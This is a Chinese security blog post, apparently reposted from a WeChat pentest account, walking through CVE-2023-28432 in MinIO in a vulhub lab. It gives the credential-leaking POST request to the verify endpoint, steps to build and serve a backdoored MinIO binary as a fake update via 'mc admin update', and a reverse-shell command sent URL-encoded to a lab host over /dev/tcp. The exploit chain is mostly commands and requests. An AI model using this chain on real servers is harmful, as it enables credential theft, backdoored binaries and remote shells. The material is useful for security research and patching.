中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

admin 2024年11月11日23:30:55评论16 views字数 2990阅读9分58秒阅读模式

简介

Minio 是一个基于Go语言的对象存储服务。它实现了大部分亚马逊S3云存储服务接口,可以看做是是S3的开源版本,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等。MinIO verify接口存在敏感信息泄漏漏洞,攻击者通过构造特殊URL地址,读取系统敏感信息。

默认账号密码是:minioadmin/minioadmin

漏洞利用方式

版本号检测:
1.http请求:GET /api/v1/check-version
2.HTTP响应版本小于RELEASE.2023-03-20T20-16-18Z则存在漏洞。
信息泄漏:
POST /minio/bootstrap/v1/verify HTTP/1.1
RCE思路:
利用泄露的账号密码和MinIO客户端登录并设置MinIO的升级访问URL,因为MinIO对于升级包的sha256sum校验失效,所以能够有损的RCE。
1.设置升级url:mc alias set myminio http://ip:9000  user_R3s3arcm pwd_R3s3arcm
2.触发更新:mc admin update myminio -y

环境搭建

使用vulhub的docker搭建服务

https://hub.nuaa.cf/vulhub/vulhub/tree/master/minio/CVE-2023-28432
下载docker-compose.yml之后进行启动
docker-compose up -d

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

10.211.55.9:9001

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)非官方的镜像,没有公钥,不用绕过。

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

漏洞复现

POC

POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 10.211.55.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) wwlocal/2.6.760000 Chrome/96.0.4664.174 Electron/16.2.2 Safari/537.36 wxwork/2.6.760000 wwlocal/1.0 wxworklocal/2.6.760000 WXDrive/2.0 MicroMessenger/6.3.22
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.211.55.9:9001/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

//注意需要请求访问的是9000端口

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)得到了账号密码 minioadmin/minioadmin-vulhub

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

安装mc客户端

折腾了一下mac端的mac客户端,没成功之后,就改使用docker版本的mc客户端

# 容器安装
$ docker pull minio/mc
#直接执行命令
$ docker run minio/mc ls play
#进入容器执行命令
docker run -it --entrypoint=/bin/sh minio/mc

连接尝试,添加实例,添加成功。

mc config host add miniode1 http://10.211.55.9:9000 minioadmin minioadmin-vulhub

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

RCE复现

大佬修改好的后门版本下载地址:https://github.com/AbelChe/evil_minio

//编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath
//重命名
mv minio minio.RELEASE.2023-03-22T06-36-24Z
//shasum校验
shasum -a 256 minio.RELEASE.2023-03-22T06-36-24Z > minio.RELEASE.2023-03-22T06-36-24Z.sha256sum
启动http服务
python3 -m http.server 18090

编译报错了

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

解决:

go env -w GOPROXY=https://goproxy.cn,direct
go clean -modcache
go mod tidy

执行完成之后,再继续执行最上面的命令进行编译。再次遇到问题,golang版本太低,本机的版本是1.7.5;提示需要1.8版本和1.19.1;查了一下官方信息,需要1.19以上版本的go环境运行。

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)升级golang的版本;载 golang 版本升级工具

git clone https://github.com/udhos/update-golang

执行升级命令

cd update-golang
sudo RELEASE=1.19.1 ./update-golang.sh
说明:RELEASE=1.19.1 指定 golang 需要升级的版本
go version
中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

继续编译,编译成功。并且重命名一下

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)校验一下sha256

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

RCE

为了直观点,我们可以创建一个桶(此操作非必须)

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)使用mc客户端进行操作

#添加 MinIO服务案例
mc config host add docker_minio1 http://ip:9000 用户名 密码
#添加 MinIO服务
mc config host add miniode1 http://10.211.55.9:9000 minioadmin minioadmin-vulhub
#ls命令 - 列出对象(可以不执行这一步)
mc ls miniode1
#下载更新包更新
mc admin update miniode1 http://10.211.55.2:18090/minio.RELEASE.2023-03-22T06-36-24Z.sha256sum -y

成功升级

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

尝试执行命令

踩坑:(这里一开始一直使用9001端口访问,一直都没成功,以为自己的升级包有问题)

最后使用9000端口进行请求,成功执行了命令

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

反弹shell

/bin/sh -i >& /dev/tcp/10.211.55.2/4567 0>&1

curl 'http://10.211.55.9:9000/?alive=%2Fbin%2Fsh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.211.55.2%2F4567%200%3E%261'
中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

功能依然正常,未受到影响

中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

总结:

  • 环境搭建过程遇到了较多的问题:主要是当时没有科学上网,拉取国外资源的时候太慢了,会有一些莫名其妙的报错。
  • golang的版本:其次是golang环境的版本,太久没更新本地golang环境,导致无法正常编译。
  • 验证是否成功

原文始发于微信公众号(pentest):中间件MinIO信息泄露导致的RCE(CVE-2023-28432)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:30:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中间件MinIO信息泄露导致的RCE(CVE-2023-28432)https://cn-sec.com/archives/1949570.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息